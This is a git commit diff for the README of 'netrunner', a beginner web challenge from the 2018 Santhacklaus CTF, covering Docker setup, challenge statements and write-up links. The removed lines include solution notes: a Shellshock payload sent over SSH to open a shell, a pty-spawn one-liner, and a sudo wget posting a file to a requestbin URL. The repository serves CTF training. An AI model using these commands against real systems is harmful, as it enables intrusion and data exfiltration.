Clean version, LICENSE and README added
This commit is contained in:
1 parent
7828640ed9
commit
4bafd8c33d
4 files changed
+766
-60
No files matched your search
@@ -1,63 +1,90 @@
|
||||
# Netrunner
|
||||
# netrunner - [WEB] Challenge Santhacklaus
|
||||
|
||||
chmod 777 mariadb
|
||||
netrunner is a beginner Web challenge proposed in three parts during the **Santhacklaus CTF**. This online event, _santhacklaus.xyz_, was a four students project from IMT Lille Douai (Telecom Lille). This Capture The Flag in jeopardy style lasted one week (14 to 21 December 2018) and gathered more than 400 participants.
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Prerequisites
|
||||
|
||||
To use this project, you need to install [Docker](https://docs.docker.com/install/) and [Docker-Compose](https://docs.docker.com/compose/install/).
|
||||
|
||||
### Configuration
|
||||
|
||||
You probably need to change the listening port in `docker-compose.yml` file to avoid conflict with other softwares, like another Web server.
|
||||
|
||||
```
|
||||
...
|
||||
ports:
|
||||
- "<chosen_port>:80"
|
||||
...
|
||||
```
|
||||
|
||||
### Running
|
||||
|
||||
Move into the root repository, then, build and start all the containers with this following command:
|
||||
|
||||
```bash
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
Now, you can access to the first part of this challenge at localhost:<chosen_port> and others parts at localhost:2077.
|
||||
|
||||
That's all! 😉
|
||||
|
||||
## Online version
|
||||
|
||||
You can find a online version of this project on [CTF;space](https://challenges.deldel.fr) platform.
|
||||
|
||||
|
||||
###
|
||||
## During and after the CTF
|
||||
|
||||
ssh puppet-master@10.2.0.1 -p 2222 -i ~/.ssh/maintenance '() { :;}; /bin/sh -i'
|
||||
### Part 1
|
||||
|
||||
python3 -c 'import pty; pty.spawn("/bin/sh")'
|
||||
#### Statement
|
||||
|
||||
sudo -g zetatech-maintenance wget --post-file=tech.note https://requestbin.fullcontact.com/XXXX
|
||||
> V, I got a mission for you!
|
||||
|
||||
> We discoved a Netrunner who hack neural implants to create false memories. We spotted the target's interface on the Net at this address: http://IP
|
||||
|
||||
hint Netrunner 2/3: He seems to have a "ghost" in the shell
|
||||
> Find out who he is and a way to stop him.
|
||||
|
||||
### Part 2
|
||||
|
||||
#### Statement
|
||||
|
||||
<style type="text/css">
|
||||
@font-face {
|
||||
font-family: 'Share Tech Mono';
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
src: local('Share Tech Mono'), local('ShareTechMono-Regular'), url(../fonts/techmono.woff2) format('woff2');
|
||||
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
|
||||
}
|
||||
.netrunner {
|
||||
color: #db0e15;
|
||||
font-family: 'Share Tech Mono', monospace;
|
||||
font-size: 16px;
|
||||
font-weight: 300;
|
||||
text-shadow: 0 0 5px rgba(219, 14, 21, .8);
|
||||
background: url(https://image.ibb.co/h2hLAJ/bg.png);
|
||||
padding: 20px;
|
||||
}
|
||||
> Nice V! I owe you one!
|
||||
|
||||
.netrunner-bold {
|
||||
font-weight: 700;
|
||||
}
|
||||
> But before we go to visit him, I would like to have a means of pressure. Here is his maintenance access: IP:PORT
|
||||
|
||||
.netrunner-orange {
|
||||
color: #c99c31;
|
||||
text-shadow: 0 0 5px #c99c31b3;
|
||||
}
|
||||
</style>
|
||||
> See what you can do and let me know.
|
||||
|
||||
<p class="netrunner" ><span class="netrunner-bold">V, I got a mission for you!</span> <br> <br>
|
||||
We discoved a Netrunner who hack neural implants to create false memories. We spotted the target's interface on the Net at this address: <br>
|
||||
<span class="netrunner-orange">http://149.202.58.152:8080</span> <br> <br>
|
||||
Find out who he is and a way to stop him.</p>
|
||||
#### Hint
|
||||
|
||||
> He seems to have a “ghost” in the shell
|
||||
|
||||
### Part 3
|
||||
|
||||
<p class="netrunner" ><span class="netrunner-bold">Nice V! I owe you one!</span> <br> <br>
|
||||
But before we go to visit him, I would like to have a means of pressure.
|
||||
Here is his maintenance access: <br>
|
||||
<span class="netrunner-orange">http://149.202.58.152:2222</span> <br> <br>
|
||||
See what you can do and let me know.</p>
|
||||
#### Statement
|
||||
|
||||
> You doing great!
|
||||
|
||||
<p class="netrunner" ><span class="netrunner-bold">You doing great!</span> <br> <br>
|
||||
But this access is not enough. See if you can get privileged access, the same used by Zetatech technician for maintenance.<br><br>
|
||||
It will allow us to unplug it in case of a glitch.</p>
|
||||
> But this access is not enough. See if you can get privileged access, the same used by Zetatech technician for maintenance.
|
||||
|
||||
> It will allow us to unplug it in case of a glitch.
|
||||
|
||||
### Write-ups
|
||||
|
||||
* [Write-up](https://thibaudrobin.github.io/writeups/santhacklaus/netrunner/) written by Thibaud Robin _alias_ Th1b4ud
|
||||
* Another [write-up](https://maki.bzh/walkthrough/santhacklaus2018/#netrunner-1-3) by Maki
|
||||
|
||||
Thank you for taking the time to write your solution! :)
|
||||
|
||||
You can contact me if you want to add your write-up in the list.
|
||||
|
||||
## Authors
|
||||
|
||||
* **Aymeric Sorek** - _alias_ [deldel](https://www.deldel.fr)
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the GNU General Public License - see the [LICENSE](LICENSE) file for details
|
||||
Reference in new issue
Block a user